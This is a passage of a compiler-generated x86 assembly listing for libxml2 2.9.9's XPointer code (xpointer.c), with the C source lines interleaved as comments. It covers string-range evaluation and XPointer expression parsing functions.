; 2573 : (cur->content != NULL)) {
; 2574 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
mov ebx, eax
; 2575 : break;
; 2576 : } else {
; 2577 : return(-1);
; 2578 : }
; 2579 : }
; 2580 : if (cur == NULL)
; 2581 : return(-1);
; 2582 : *node = cur;
mov edi, esi
add esp, 4
mov DWORD PTR _endindex$1$[ebp], ebx
mov DWORD PTR _end$1$[ebp], edi
jmp $LN129@xmlXPtrStr
$LN27@xmlXPtrStr:
; 2786 : xmlXPtrLocationSetAdd(newset,
; 2787 : xmlXPtrNewRange(start, startindex, fend, fendindex));
; 2788 : } else if (xmlXPtrAdvanceChar(&start, &startindex,
; 2789 : pos - 1) == 0) {
mov eax, DWORD PTR _pos$1$[ebp]
dec eax
push eax
lea eax, DWORD PTR _startindex$[ebp]
push eax
lea eax, DWORD PTR _start$[ebp]
push eax
call _xmlXPtrAdvanceChar
add esp, 12 ; 0000000cH
test eax, eax
jne SHORT $LN34@xmlXPtrStr
; 2790 : if ((number != NULL) && (num > 0)) {
cmp DWORD PTR _number$1$[ebp], eax
je $LN33@xmlXPtrStr
mov ecx, DWORD PTR _num$1$[ebp]
test ecx, ecx
jle SHORT $LN30@xmlXPtrStr
; 2791 : int rindx;
; 2792 : xmlNodePtr rend;
; 2793 : rend = start;
; 2794 : rindx = startindex - 1;
mov eax, DWORD PTR _startindex$[ebp]
mov ebx, DWORD PTR _start$[ebp]
dec eax
mov DWORD PTR _rindx$1[ebp], eax
; 2795 : if (xmlXPtrAdvanceChar(&rend, &rindx,
; 2796 : num) == 0) {
lea eax, DWORD PTR _rindx$1[ebp]
push ecx
push eax
lea eax, DWORD PTR _rend$2[ebp]
mov DWORD PTR _rend$2[ebp], ebx
push eax
call _xmlXPtrAdvanceChar
add esp, 12 ; 0000000cH
test eax, eax
jne SHORT $LN135@xmlXPtrStr
; 2797 : xmlXPtrLocationSetAdd(newset,
push DWORD PTR _rindx$1[ebp]
push DWORD PTR _rend$2[ebp]
push DWORD PTR _startindex$[ebp]
push ebx
call _xmlXPtrNewRange
push eax
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
add esp, 24 ; 00000018H
$LN135@xmlXPtrStr:
; 2803 : xmlXPtrNewRange(start, startindex,
; 2804 : start, startindex));
; 2805 : } else {
; 2806 : xmlXPtrLocationSetAdd(newset,
; 2807 : xmlXPtrNewRange(start, startindex,
; 2808 : fend, fendindex));
; 2809 : }
; 2810 : }
; 2811 : start = fend;
mov ebx, DWORD PTR _endindex$1$[ebp]
$LN34@xmlXPtrStr:
; 2812 : startindex = fendindex;
; 2813 : if (string->stringval[0] == 0)
mov eax, DWORD PTR _string$1$[ebp]
mov DWORD PTR _start$[ebp], edi
mov edi, DWORD PTR _end$1$[ebp]
mov DWORD PTR _startindex$[ebp], esi
mov ecx, DWORD PTR [eax+24]
cmp BYTE PTR [ecx], 0
jne $LL7@xmlXPtrStr
; 2814 : startindex++;
lea eax, DWORD PTR [esi+1]
mov DWORD PTR _startindex$[ebp], eax
; 2815 : }
; 2816 : } while (found == 1);
jmp $LL7@xmlXPtrStr
$LN30@xmlXPtrStr:
; 2798 : xmlXPtrNewRange(start, startindex,
; 2799 : rend, rindx));
; 2800 : }
; 2801 : } else if ((number != NULL) && (num <= 0)) {
; 2802 : xmlXPtrLocationSetAdd(newset,
mov ecx, DWORD PTR _startindex$[ebp]
mov eax, DWORD PTR _start$[ebp]
push ecx
push eax
push ecx
push eax
$LN147@xmlXPtrStr:
; 2803 : xmlXPtrNewRange(start, startindex,
; 2804 : start, startindex));
; 2805 : } else {
; 2806 : xmlXPtrLocationSetAdd(newset,
; 2807 : xmlXPtrNewRange(start, startindex,
; 2808 : fend, fendindex));
; 2809 : }
; 2810 : }
; 2811 : start = fend;
call _xmlXPtrNewRange
push eax
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
add esp, 24 ; 00000018H
jmp SHORT $LN34@xmlXPtrStr
$LN121@xmlXPtrStr:
; 2754 :
; 2755 : /*
; 2756 : * The loop is to search for each element in the location set
; 2757 : * the list of location set corresponding to that search
; 2758 : */
; 2759 : for (i = 0;i < oldset->locNr;i++) {
mov ecx, DWORD PTR _i$1$[ebp]
mov eax, DWORD PTR _oldset$1$[ebp]
inc ecx
mov DWORD PTR _i$1$[ebp], ecx
cmp ecx, DWORD PTR [eax]
jl $LL4@xmlXPtrStr
mov ebx, DWORD PTR _ctxt$[ebp]
mov esi, DWORD PTR _string$1$[ebp]
mov edi, DWORD PTR _set$1$[ebp]
$error$149:
; 2817 : }
; 2818 :
; 2819 : /*
; 2820 : * Save the new value and cleanup
; 2821 : */
; 2822 : error:
; 2823 : valuePush(ctxt, xmlXPtrWrapLocationSet(newset));
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrWrapLocationSet
push eax
push ebx
call _valuePush
; 2824 : xmlXPathFreeObject(set);
push edi
call _xmlXPathFreeObject
; 2825 : xmlXPathFreeObject(string);
push esi
call _xmlXPathFreeObject
; 2826 : if (position) xmlXPathFreeObject(position);
mov eax, DWORD PTR _position$1$[ebp]
add esp, 20 ; 00000014H
test eax, eax
je SHORT $LN36@xmlXPtrStr
push eax
call _xmlXPathFreeObject
add esp, 4
$LN36@xmlXPtrStr:
; 2827 : if (number) xmlXPathFreeObject(number);
mov eax, DWORD PTR _number$1$[ebp]
test eax, eax
je $LN143@xmlXPtrStr
push eax
call _xmlXPathFreeObject
add esp, 4
pop edi
pop ebx
pop esi
; 2828 : }
mov esp, ebp
pop ebp
ret 0
$LN19@xmlXPtrStr:
; 2724 : }
; 2725 : CHECK_TYPE(XPATH_STRING);
push 11 ; 0000000bH
push ebx
call _xmlXPathErr
add esp, 8
pop ebx
pop esi
; 2828 : }
mov esp, ebp
pop ebp
ret 0
$LN9@xmlXPtrStr:
; 2697 : int i, startindex, endindex = 0, fendindex;
; 2698 : xmlNodePtr start, end = 0, fend;
; 2699 : xmlXPathObjectPtr set;
; 2700 : xmlLocationSetPtr oldset;
; 2701 : xmlLocationSetPtr newset;
; 2702 : xmlXPathObjectPtr string;
; 2703 : xmlXPathObjectPtr position = NULL;
; 2704 : xmlXPathObjectPtr number = NULL;
; 2705 : int found, pos = 0, num = 0;
; 2706 :
; 2707 : /*
; 2708 : * Grab the arguments
; 2709 : */
; 2710 : if ((nargs < 2) || (nargs > 4))
; 2711 : XP_ERROR(XPATH_INVALID_ARITY);
push 12 ; 0000000cH
push DWORD PTR _ctxt$[ebp]
call _xmlXPathErr
add esp, 8
pop esi
; 2828 : }
mov esp, ebp
pop ebp
ret 0
_xmlXPtrStringRangeFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEvalXPointer
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_xmlXPtrEvalXPointer PROC ; COMDAT
; 1228 : xmlXPtrEvalXPointer(xmlXPathParserContextPtr ctxt) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [esi+28], 0
jne SHORT $LN70@xmlXPtrEva
; 1229 : if (ctxt->valueTab == NULL) {
; 1230 : /* Allocate the value stack */
; 1231 : ctxt->valueTab = (xmlXPathObjectPtr *)
push 40 ; 00000028H
call DWORD PTR _xmlMalloc
add esp, 4
mov DWORD PTR [esi+28], eax
; 1232 : xmlMalloc(10 * sizeof(xmlXPathObjectPtr));
; 1233 : if (ctxt->valueTab == NULL) {
test eax, eax
jne SHORT $LN7@xmlXPtrEva
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BO@HMMGLLBJ@allocating?5evaluation?5context@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BO@HMMGLLBJ@allocating?5evaluation?5context@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop esi
; 1264 : }
pop ebp
ret 0
$LN7@xmlXPtrEva:
; 1234 : xmlXPtrErrMemory("allocating evaluation context");
; 1235 : return;
; 1236 : }
; 1237 : ctxt->valueNr = 0;
mov DWORD PTR [esi+20], 0
; 1238 : ctxt->valueMax = 10;
mov DWORD PTR [esi+24], 10 ; 0000000aH
; 1239 : ctxt->value = NULL;
mov DWORD PTR [esi+16], 0
; 1240 : ctxt->valueFrame = 0;
mov DWORD PTR [esi+44], 0
$LN70@xmlXPtrEva:
mov ecx, DWORD PTR [esi]
$LL2@xmlXPtrEva:
; 1241 : }
; 1242 : SKIP_BLANKS;
mov al, BYTE PTR [ecx]
cmp al, 32 ; 00000020H
je SHORT $LN8@xmlXPtrEva
cmp al, 9
jb SHORT $LN9@xmlXPtrEva
cmp al, 10 ; 0000000aH
jbe SHORT $LN8@xmlXPtrEva
$LN9@xmlXPtrEva:
cmp al, 13 ; 0000000dH
jne SHORT $LN3@xmlXPtrEva
$LN8@xmlXPtrEva:
test al, al
je SHORT $LL2@xmlXPtrEva
inc ecx
mov DWORD PTR [esi], ecx
jmp SHORT $LL2@xmlXPtrEva
$LN3@xmlXPtrEva:
; 1243 : if (CUR == '/') {
push esi
cmp al, 47 ; 0000002fH
jne SHORT $LN10@xmlXPtrEva
; 1244 : xmlXPathRoot(ctxt);
call _xmlXPathRoot
add esp, 4
; 1245 : xmlXPtrEvalChildSeq(ctxt, NULL);
xor ecx, ecx
$LN13@xmlXPtrEva:
push ecx
push esi
call _xmlXPtrEvalChildSeq
add esp, 8
$LL4@xmlXPtrEva:
; 1253 : xmlXPtrEvalFullXPtr(ctxt, name);
; 1254 : /* Short evaluation */
; 1255 : return;
; 1256 : } else {
; 1257 : /* this handle both Bare Names and Child Sequences */
; 1258 : xmlXPtrEvalChildSeq(ctxt, name);
; 1259 : }
; 1260 : }
; 1261 : SKIP_BLANKS;
mov ecx, DWORD PTR [esi]
mov al, BYTE PTR [ecx]
cmp al, 32 ; 00000020H
je SHORT $LN15@xmlXPtrEva
cmp al, 9
jb SHORT $LN16@xmlXPtrEva
cmp al, 10 ; 0000000aH
jbe SHORT $LN15@xmlXPtrEva
$LN16@xmlXPtrEva:
cmp al, 13 ; 0000000dH
jne $LN5@xmlXPtrEva
$LN15@xmlXPtrEva:
test al, al
je SHORT $LL4@xmlXPtrEva
lea eax, DWORD PTR [ecx+1]
mov DWORD PTR [esi], eax
jmp SHORT $LL4@xmlXPtrEva
$LN10@xmlXPtrEva:
; 1246 : } else {
; 1247 : xmlChar *name;
; 1248 :
; 1249 : name = xmlXPathParseName(ctxt);
call _xmlXPathParseName
mov ecx, eax
add esp, 4
; 1250 : if (name == NULL)
test ecx, ecx
je $LN96@xmlXPtrEva
; 1251 : XP_ERROR(XPATH_EXPR_ERROR);
; 1252 : if (CUR == '(') {
mov eax, DWORD PTR [esi]
cmp BYTE PTR [eax], 40 ; 00000028H
jne SHORT $LN13@xmlXPtrEva
$LL26@xmlXPtrEva:
; 1124 : xmlXPtrEvalXPtrPart(ctxt, name);
push ecx
push esi
mov DWORD PTR [esi+8], 0
call _xmlXPtrEvalXPtrPart
; 1125 :
; 1126 : /* in case of syntax error, break here */
; 1127 : if ((ctxt->error != XPATH_EXPRESSION_OK) &&
mov eax, DWORD PTR [esi+8]
add esp, 8
test eax, eax
je SHORT $LN80@xmlXPtrEva
cmp eax, 1900 ; 0000076cH
jne $LN17@xmlXPtrEva
$LN80@xmlXPtrEva:
; 1128 : (ctxt->error != XML_XPTR_UNKNOWN_SCHEME))
; 1129 : return;
; 1130 :
; 1131 : /*
; 1132 : * If the returned value is a non-empty nodeset
; 1133 : * or location set, return here.
; 1134 : */
; 1135 : if (ctxt->value != NULL) {
mov eax, DWORD PTR [esi+16]
test eax, eax
je SHORT $LN31@xmlXPtrEva
; 1136 : xmlXPathObjectPtr obj = ctxt->value;
; 1137 :
; 1138 : switch (obj->type) {
mov ecx, DWORD PTR [eax]
sub ecx, 1
je SHORT $LN41@xmlXPtrEva
sub ecx, 6
jne SHORT $LL32@xmlXPtrEva
; 1139 : case XPATH_LOCATIONSET: {
; 1140 : xmlLocationSetPtr loc = ctxt->value->user;
mov eax, DWORD PTR [eax+28]
; 1141 : if ((loc != NULL) && (loc->locNr > 0))
; 1142 : return;
; 1143 : break;
jmp SHORT $LN126@xmlXPtrEva
$LN41@xmlXPtrEva:
; 1144 : }
; 1145 : case XPATH_NODESET: {
; 1146 : xmlNodeSetPtr loc = ctxt->value->nodesetval;
mov eax, DWORD PTR [eax+4]
$LN126@xmlXPtrEva:
; 1147 : if ((loc != NULL) && (loc->nodeNr > 0))
; 1148 : return;
; 1149 : break;
; 1150 : }
; 1151 : default:
; 1152 : break;
; 1153 : }
; 1154 :
; 1155 : /*
; 1156 : * Evaluating to improper values is equivalent to
; 1157 : * a sub-resource error, clean-up the stack
; 1158 : */
; 1159 : do {
; 1160 : obj = valuePop(ctxt);
test eax, eax
je SHORT $LL32@xmlXPtrEva
cmp DWORD PTR [eax], 0
jg SHORT $LN17@xmlXPtrEva
npad 7
$LL32@xmlXPtrEva:
push esi
call _valuePop
add esp, 4
; 1161 : if (obj != NULL) {
test eax, eax
je SHORT $LN31@xmlXPtrEva
; 1162 : xmlXPathFreeObject(obj);
push eax
call _xmlXPathFreeObject
add esp, 4
; 1163 : }
; 1164 : } while (obj != NULL);
jmp SHORT $LL32@xmlXPtrEva
$LN31@xmlXPtrEva:
; 1125 :
; 1126 : /* in case of syntax error, break here */
; 1127 : if ((ctxt->error != XPATH_EXPRESSION_OK) &&
mov ecx, DWORD PTR [esi]
npad 6
$LL33@xmlXPtrEva:
; 1165 : }
; 1166 :
; 1167 : /*
; 1168 : * Is there another XPointer part.
; 1169 : */
; 1170 : SKIP_BLANKS;
mov al, BYTE PTR [ecx]
cmp al, 32 ; 00000020H
je SHORT $LN45@xmlXPtrEva
cmp al, 9
jb SHORT $LN46@xmlXPtrEva
cmp al, 10 ; 0000000aH
jbe SHORT $LN45@xmlXPtrEva
$LN46@xmlXPtrEva:
cmp al, 13 ; 0000000dH
jne SHORT $LN34@xmlXPtrEva
$LN45@xmlXPtrEva:
test al, al
je SHORT $LL33@xmlXPtrEva
inc ecx
mov DWORD PTR [esi], ecx
jmp SHORT $LL33@xmlXPtrEva
$LN34@xmlXPtrEva:
; 1171 : name = xmlXPathParseName(ctxt);
push esi
call _xmlXPathParseName
mov ecx, eax
add esp, 4
test ecx, ecx
jne $LL26@xmlXPtrEva
pop esi
; 1264 : }
pop ebp
ret 0
$LN5@xmlXPtrEva:
; 1262 : if (CUR != 0)
test al, al
je SHORT $LN17@xmlXPtrEva
$LN96@xmlXPtrEva:
; 1263 : XP_ERROR(XPATH_EXPR_ERROR);
push 7
push esi
call _xmlXPathErr
add esp, 8
$LN17@xmlXPtrEva:
pop esi
; 1264 : }
pop ebp
ret 0
_xmlXPtrEvalXPointer ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEvalFullXPtr
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_name$ = 12 ; size = 4
_xmlXPtrEvalFullXPtr PROC ; COMDAT
; 1117 : xmlXPtrEvalFullXPtr(xmlXPathParserContextPtr ctxt, xmlChar *name) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _name$[ebp]
mov esi, DWORD PTR _ctxt$[ebp]
test eax, eax
jne SHORT $LL2@xmlXPtrEva
; 1118 : if (name == NULL)
; 1119 : name = xmlXPathParseName(ctxt);
push esi
call _xmlXPathParseName
add esp, 4
; 1120 : if (name == NULL)
test eax, eax
jne SHORT $LL2@xmlXPtrEva
; 1121 : XP_ERROR(XPATH_EXPR_ERROR);
push 7
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1172 : }
; 1173 : }
pop ebp
ret 0
$LL2@xmlXPtrEva:
; 1122 : while (name != NULL) {
; 1123 : ctxt->error = XPATH_EXPRESSION_OK;
; 1124 : xmlXPtrEvalXPtrPart(ctxt, name);
push eax
push esi
mov DWORD PTR [esi+8], 0
call _xmlXPtrEvalXPtrPart
; 1125 :
; 1126 : /* in case of syntax error, break here */
; 1127 : if ((ctxt->error != XPATH_EXPRESSION_OK) &&
mov eax, DWORD PTR [esi+8]
add esp, 8
test eax, eax
je SHORT $LN42@xmlXPtrEva
cmp eax, 1900 ; 0000076cH
jne SHORT $LN69@xmlXPtrEva
$LN42@xmlXPtrEva:
; 1128 : (ctxt->error != XML_XPTR_UNKNOWN_SCHEME))
; 1129 : return;
; 1130 :
; 1131 : /*
; 1132 : * If the returned value is a non-empty nodeset
; 1133 : * or location set, return here.
; 1134 : */
; 1135 : if (ctxt->value != NULL) {
mov eax, DWORD PTR [esi+16]
test eax, eax
je SHORT $LN7@xmlXPtrEva
; 1136 : xmlXPathObjectPtr obj = ctxt->value;
; 1137 :
; 1138 : switch (obj->type) {
mov ecx, DWORD PTR [eax]
sub ecx, 1
je SHORT $LN17@xmlXPtrEva
sub ecx, 6
jne SHORT $LL8@xmlXPtrEva
; 1139 : case XPATH_LOCATIONSET: {
; 1140 : xmlLocationSetPtr loc = ctxt->value->user;
mov eax, DWORD PTR [eax+28]
; 1141 : if ((loc != NULL) && (loc->locNr > 0))
; 1142 : return;
; 1143 : break;
jmp SHORT $LN75@xmlXPtrEva
$LN17@xmlXPtrEva:
; 1144 : }
; 1145 : case XPATH_NODESET: {
; 1146 : xmlNodeSetPtr loc = ctxt->value->nodesetval;
mov eax, DWORD PTR [eax+4]
$LN75@xmlXPtrEva:
; 1147 : if ((loc != NULL) && (loc->nodeNr > 0))
; 1148 : return;
; 1149 : break;
; 1150 : }
; 1151 : default:
; 1152 : break;
; 1153 : }
; 1154 :
; 1155 : /*
; 1156 : * Evaluating to improper values is equivalent to
; 1157 : * a sub-resource error, clean-up the stack
; 1158 : */
; 1159 : do {
; 1160 : obj = valuePop(ctxt);
test eax, eax
je SHORT $LL8@xmlXPtrEva
cmp DWORD PTR [eax], 0
jg SHORT $LN69@xmlXPtrEva
$LL8@xmlXPtrEva:
push esi
call _valuePop
add esp, 4
; 1161 : if (obj != NULL) {
test eax, eax
je SHORT $LN7@xmlXPtrEva
; 1162 : xmlXPathFreeObject(obj);
push eax
call _xmlXPathFreeObject
add esp, 4
; 1163 : }
; 1164 : } while (obj != NULL);
jmp SHORT $LL8@xmlXPtrEva
$LN7@xmlXPtrEva:
; 1125 :
; 1126 : /* in case of syntax error, break here */
; 1127 : if ((ctxt->error != XPATH_EXPRESSION_OK) &&
mov ecx, DWORD PTR [esi]
$LL9@xmlXPtrEva:
; 1165 : }
; 1166 :
; 1167 : /*
; 1168 : * Is there another XPointer part.
; 1169 : */
; 1170 : SKIP_BLANKS;
mov al, BYTE PTR [ecx]
cmp al, 32 ; 00000020H
je SHORT $LN21@xmlXPtrEva
cmp al, 9
jb SHORT $LN22@xmlXPtrEva
cmp al, 10 ; 0000000aH
jbe SHORT $LN21@xmlXPtrEva
$LN22@xmlXPtrEva:
cmp al, 13 ; 0000000dH
jne SHORT $LN10@xmlXPtrEva
$LN21@xmlXPtrEva:
test al, al
je SHORT $LL9@xmlXPtrEva
inc ecx
mov DWORD PTR [esi], ecx
jmp SHORT $LL9@xmlXPtrEva
$LN10@xmlXPtrEva:
; 1171 : name = xmlXPathParseName(ctxt);
push esi
call _xmlXPathParseName
add esp, 4
test eax, eax
jne $LL2@xmlXPtrEva
$LN69@xmlXPtrEva:
pop esi
; 1172 : }
; 1173 : }
pop ebp
ret 0
_xmlXPtrEvalFullXPtr ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEvalXPtrPart
_TEXT SEGMENT
_left$1$ = -12 ; size = 4
_value$1$ = -8 ; size = 4
_prefix$1$ = -4 ; size = 4
_cur$1$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_buffer$1$ = 12 ; size = 4
_name$ = 12 ; size = 4
_xmlXPtrEvalXPtrPart PROC ; COMDAT
; 949 : xmlXPtrEvalXPtrPart(xmlXPathParserContextPtr ctxt, xmlChar *name) {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
mov ecx, OFFSET __BEF3E6F7_xpointer@c
push ebx
push edi
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _name$[ebp]
mov edi, DWORD PTR _ctxt$[ebp]
test ebx, ebx
jne SHORT $LN9@xmlXPtrEva
; 950 : xmlChar *buffer, *cur;
; 951 : int len;
; 952 : int level;
; 953 :
; 954 : if (name == NULL)
; 955 : name = xmlXPathParseName(ctxt);
push edi
call _xmlXPathParseName
mov ebx, eax
add esp, 4
; 956 : if (name == NULL)
test ebx, ebx
jne SHORT $LN9@xmlXPtrEva
; 957 : XP_ERROR(XPATH_EXPR_ERROR);
push 7
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN9@xmlXPtrEva:
; 958 :
; 959 : if (CUR != '(') {
mov eax, DWORD PTR [edi]
cmp BYTE PTR [eax], 40 ; 00000028H
je SHORT $LN10@xmlXPtrEva
; 960 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
; 961 : XP_ERROR(XPATH_EXPR_ERROR);
push 7
push edi
call _xmlXPathErr
add esp, 12 ; 0000000cH
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@xmlXPtrEva:
; 962 : }
; 963 : NEXT;
inc eax
push esi
; 964 : level = 1;
; 965 :
; 966 : len = xmlStrlen(ctxt->cur);
push eax
mov DWORD PTR [edi], eax
mov esi, 1
call _xmlStrlen
; 967 : len++;
inc eax
; 968 : buffer = (xmlChar *) xmlMallocAtomic(len * sizeof (xmlChar));
push eax
call DWORD PTR _xmlMallocAtomic
add esp, 8
mov DWORD PTR _buffer$1$[ebp], eax
; 969 : if (buffer == NULL) {
test eax, eax
jne SHORT $LN11@xmlXPtrEva
; 970 : xmlXPtrErrMemory("allocating buffer");
push OFFSET ??_C@_0BC@MDOPFBLJ@allocating?5buffer@
call _xmlXPtrErrMemory
; 1086 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
add esp, 8
pop esi
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN11@xmlXPtrEva:
; 971 : xmlFree(name);
; 972 : return;
; 973 : }
; 974 :
; 975 : cur = buffer;
; 976 : while (CUR != 0) {
mov ecx, DWORD PTR [edi]
mov edx, eax
mov DWORD PTR _cur$1$[ebp], edx
mov al, BYTE PTR [ecx]
test al, al
je SHORT $LN73@xmlXPtrEva
$LL2@xmlXPtrEva:
; 977 : if (CUR == ')') {
cmp al, 41 ; 00000029H
jne SHORT $LN12@xmlXPtrEva
; 978 : level--;
sub esi, 1
; 979 : if (level == 0) {
jne SHORT $LN43@xmlXPtrEva
; 980 : NEXT;
mov edx, DWORD PTR _cur$1$[ebp]
test al, al
je SHORT $LN73@xmlXPtrEva
lea eax, DWORD PTR [ecx+1]
mov DWORD PTR [edi], eax
jmp SHORT $LN73@xmlXPtrEva
$LN12@xmlXPtrEva:
; 981 : break;
; 982 : }
; 983 : } else if (CUR == '(') {
cmp al, 40 ; 00000028H
jne SHORT $LN15@xmlXPtrEva
; 984 : level++;
inc esi
jmp SHORT $LN43@xmlXPtrEva
$LN15@xmlXPtrEva:
; 985 : } else if (CUR == '^') {
cmp al, 94 ; 0000005eH
jne SHORT $LN43@xmlXPtrEva
; 986 : if ((NXT(1) == ')') || (NXT(1) == '(') || (NXT(1) == '^')) {
mov dl, BYTE PTR [ecx+1]
inc ecx
cmp dl, 41 ; 00000029H
je SHORT $LN19@xmlXPtrEva
cmp dl, 40 ; 00000028H
je SHORT $LN19@xmlXPtrEva
cmp dl, al
jne SHORT $LN43@xmlXPtrEva
$LN19@xmlXPtrEva:
; 987 : NEXT;
mov DWORD PTR [edi], ecx
mov al, BYTE PTR [ecx]
$LN43@xmlXPtrEva:
; 988 : }
; 989 : }
; 990 : *cur++ = CUR;
mov ecx, DWORD PTR _cur$1$[ebp]
mov BYTE PTR [ecx], al
inc ecx
mov DWORD PTR _cur$1$[ebp], ecx
; 991 : NEXT;
mov ecx, DWORD PTR [edi]
cmp BYTE PTR [ecx], 0
je SHORT $LN70@xmlXPtrEva
inc ecx
mov DWORD PTR [edi], ecx
$LN70@xmlXPtrEva:
; 971 : xmlFree(name);
; 972 : return;
; 973 : }
; 974 :
; 975 : cur = buffer;
; 976 : while (CUR != 0) {
mov al, BYTE PTR [ecx]
test al, al
jne SHORT $LL2@xmlXPtrEva
mov edx, DWORD PTR _cur$1$[ebp]
$LN73@xmlXPtrEva:
; 992 : }
; 993 : *cur = 0;
mov BYTE PTR [edx], 0
; 994 :
; 995 : if ((level != 0) && (CUR == 0)) {
test esi, esi
je SHORT $LN71@xmlXPtrEva
mov eax, DWORD PTR [edi]
cmp BYTE PTR [eax], 0
jne SHORT $LN71@xmlXPtrEva
; 996 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
; 997 : xmlFree(buffer);
mov eax, DWORD PTR _buffer$1$[ebp]
push eax
; 998 : XP_ERROR(XPTR_SYNTAX_ERROR);
jmp $LN79@xmlXPtrEva
$LN71@xmlXPtrEva:
; 999 : }
; 1000 :
; 1001 : if (xmlStrEqual(name, (xmlChar *) "xpointer")) {
push OFFSET ??_C@_08DNJCJFMK@xpointer@
push ebx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN21@xmlXPtrEva
; 1002 : const xmlChar *left = CUR_PTR;
; 1003 :
; 1004 : CUR_PTR = buffer;
; 1005 : /*
; 1006 : * To evaluate an xpointer scheme element (4.3) we need:
; 1007 : * context initialized to the root
; 1008 : * context position initalized to 1
; 1009 : * context size initialized to 1
; 1010 : */
; 1011 : ctxt->context->node = (xmlNodePtr)ctxt->context->doc;
mov ecx, DWORD PTR [edi+12]
mov esi, DWORD PTR [edi]
mov eax, DWORD PTR _buffer$1$[ebp]
mov DWORD PTR [edi], eax
mov eax, DWORD PTR [ecx]
mov DWORD PTR [ecx+4], eax
; 1012 : ctxt->context->proximityPosition = 1;
mov eax, DWORD PTR [edi+12]
; 1013 : ctxt->context->contextSize = 1;
; 1014 : xmlXPathEvalExpr(ctxt);
push edi
mov DWORD PTR [eax+72], 1
mov eax, DWORD PTR [edi+12]
mov DWORD PTR [eax+68], 1
call _xmlXPathEvalExpr
add esp, 4
; 1015 : CUR_PTR=left;
mov DWORD PTR [edi], esi
jmp $LN29@xmlXPtrEva
$LN21@xmlXPtrEva:
; 1016 : } else if (xmlStrEqual(name, (xmlChar *) "element")) {
push OFFSET ??_C@_07HCLJNICE@element@
push ebx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN23@xmlXPtrEva
; 1017 : const xmlChar *left = CUR_PTR;
; 1018 : xmlChar *name2;
; 1019 :
; 1020 : CUR_PTR = buffer;
mov eax, DWORD PTR _buffer$1$[ebp]
mov esi, DWORD PTR [edi]
mov DWORD PTR [edi], eax
; 1021 : if (buffer[0] == '/') {
push edi
cmp BYTE PTR [eax], 47 ; 0000002fH
jne SHORT $LN25@xmlXPtrEva
; 1022 : xmlXPathRoot(ctxt);
call _xmlXPathRoot
add esp, 4
; 1023 : xmlXPtrEvalChildSeq(ctxt, NULL);
xor eax, eax
$LN27@xmlXPtrEva:
; 1031 : }
; 1032 : xmlXPtrEvalChildSeq(ctxt, name2);
; 1033 : }
; 1034 : CUR_PTR = left;
push eax
push edi
call _xmlXPtrEvalChildSeq
add esp, 8
mov DWORD PTR [edi], esi
jmp $LN29@xmlXPtrEva
$LN25@xmlXPtrEva:
; 1024 : } else {
; 1025 : name2 = xmlXPathParseName(ctxt);
call _xmlXPathParseName
add esp, 4
; 1026 : if (name2 == NULL) {
test eax, eax
jne SHORT $LN27@xmlXPtrEva
; 1027 : CUR_PTR = left;
; 1028 : xmlFree(buffer);
mov eax, DWORD PTR _buffer$1$[ebp]
push eax
mov DWORD PTR [edi], esi
call DWORD PTR _xmlFree
; 1029 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
; 1030 : XP_ERROR(XPATH_EXPR_ERROR);
push 7
push edi
call _xmlXPathErr
add esp, 16 ; 00000010H
pop esi
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN23@xmlXPtrEva:
; 1035 : #ifdef XPTR_XMLNS_SCHEME
; 1036 : } else if (xmlStrEqual(name, (xmlChar *) "xmlns")) {
push OFFSET ??_C@_05PPEFOGKI@xmlns@
push ebx
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN28@xmlXPtrEva
; 1037 : const xmlChar *left = CUR_PTR;
mov eax, DWORD PTR [edi]
mov DWORD PTR _left$1$[ebp], eax
; 1038 : xmlChar *prefix;
; 1039 : xmlChar *URI;
; 1040 : xmlURIPtr value;
; 1041 :
; 1042 : CUR_PTR = buffer;
mov eax, DWORD PTR _buffer$1$[ebp]
; 1043 : prefix = xmlXPathParseNCName(ctxt);
push edi
mov DWORD PTR [edi], eax
call _xmlXPathParseNCName
mov esi, eax
add esp, 4
mov DWORD PTR _prefix$1$[ebp], esi
